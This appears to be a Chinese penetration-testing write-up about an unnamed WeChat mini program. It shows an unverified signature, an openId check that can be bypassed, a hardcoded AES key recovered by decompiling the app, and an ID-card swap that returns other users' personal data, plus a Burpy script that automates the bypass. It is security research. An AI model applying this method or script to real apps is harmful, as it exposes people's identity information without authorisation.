Author:0pening
1、前言
对某微信小程序进行测试,不说多的,马上开动BurpSuite抓包。然而抓到包就发现不对劲🤨了。
这货将传递的参数加密为bizContent,还有签名参数sign用来防止中间人篡改数据包…..不讲武德。
2、分析数据包
先硬着头皮分析一下吧,看看签名参数sign是不是校验了。通过删减参数进行判断,这原来是个纸老虎。参数删简如下,数据包可以正常发送。
原来sign只是个纸老虎,后端就没有校验。那是否通过openId来进行用户身份的校验的🤔️?
通过修改openId参数,发现存在逻辑问题。
错误的openId,校验失败。
openId为空,成功返回数据。
删除openId参数,成功返回数据。
由于这是个请求个人信息的接口,删除或使openId为空,都拿到了个人信息。那么bizContent参数中存在某个参数决定了用户身份标识,如果这个标识可预测,极有可能通过修改这个标识越权获取到他人身份信息。
3、签名算法破解
通过上面一通分析,接下来就要想办法获取到bizContent参数的明文数据。
通过查看BurpSuite的数据包history记录
查找上下文都没有找到相关JS请求,那么加密算法的源码应该在微信小程序源码里了。
-
• 微信小程序源文件在开发者发布后存储在微信的服务器上,当用户首次加载小程序时会下载小程序到用户本地(*****.wxapkg格式的二进制文件)。
提取.wxapkg文件:(安卓会放到如下目录)
/data/data/com.tencent.mm/MicroMsg/{数字串}/appbrand/pkg/
反编译.wxapkg文件获取小程序源码(https://github.com/Cherrison/CrackMinApp)
使用这款工具主要是不需要额外安装node.js环境,可以直接干。
通过全局搜索关键字bizContent,发现在定位app-service.js中。将app-service.js进行JS美化下便与阅读。找到了加解密算法。
测试下AES解密,解密成功,传递的两个参数,一个idcard身份证,一个desc请求接口。
之后通过替换idcard身份证参数为他人身份证,调用接口查询,返回了他人信息,实锤越权了。
4、Burpy插件使用
搞定加密算法后就可以测试了,但产生个问题,我难道要每次把bizContent参数和返回数据每次复制粘贴出来解密来测吗?又没有什么更优雅的测试方式呢?
把视角瞄向了m0nst3r的https://github.com/mr-m0nst3r/Burpy 。已支持python3
使用教程博客里有:
https://m0nst3r.me/burpsuite/打通BurpSuite与Python之间的任督二脉.html
加载插件后配置如下:(插件需要安装Pyro4 -> pip3 install Pyro4)
收集到AES相关加密配置如下:
783a2274472d5928
iv = 0102030405060708
Mode = ECB
padding = Pkcs7
编写AES加解密脚本。只要按照项目要求实现encrypt、decrypt两个函数。
import json
import base64
from Crypto.Cipher import AES
class Burpy:
def __init__(self):
self.key = "783a2274472d5928"
self.iv = "0102030405060708"
self.apicode = ""
def encrypt(self, header, body):
# 获取加密参数bizContent
body_json = json.loads(body)
bizContent = json.dumps(body_json["bizContent"]).replace(' ', '')
#AES加密
while len(bizContent) % 16 != 0: # 补足字符串长度为16的倍数
bizContent += (16 - len(bizContent) % 16) * chr(16 - len(bizContent) % 16)
bizContent = str.encode(bizContent)
aes = AES.new(self.key, AES.MODE_ECB) # 初始化加密器
bizContent = str(base64.encodebytes(aes.encrypt(bizContent)), encoding='utf8').replace('n', '')
#替换参数,openId置空绕过
body_json["bizContent"] = bizContent
body_json["openId"] = ''
body = json.dumps(body_json)
return header, body
def decrypt(self, header, body):
cipher = AES.new(self.key, AES.MODE_ECB, self.iv)
# 获取加密参数bizContent
body_json = json.loads(body)
bizContent = body_json.get("bizContent")
#AES解密
content = cipher.decrypt(base64.decodebytes(bytes(bizContent, encoding='utf8'))).decode("utf8")
content = content[:-ord(content[-1])]
body_json["bizContent"] = json.loads(content)
body = json.dumps(body_json)
return header, body
加载插件后配置如下,勾选自动加解密。
测试如下,完美获取数据,测试优雅多了!
在Repeater中修改数据包直接明文发送,返回包自动解密。
原文始发于微信公众号(Gcow安全团队):Burpy插件实战-某微信小程序加密算法破解
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论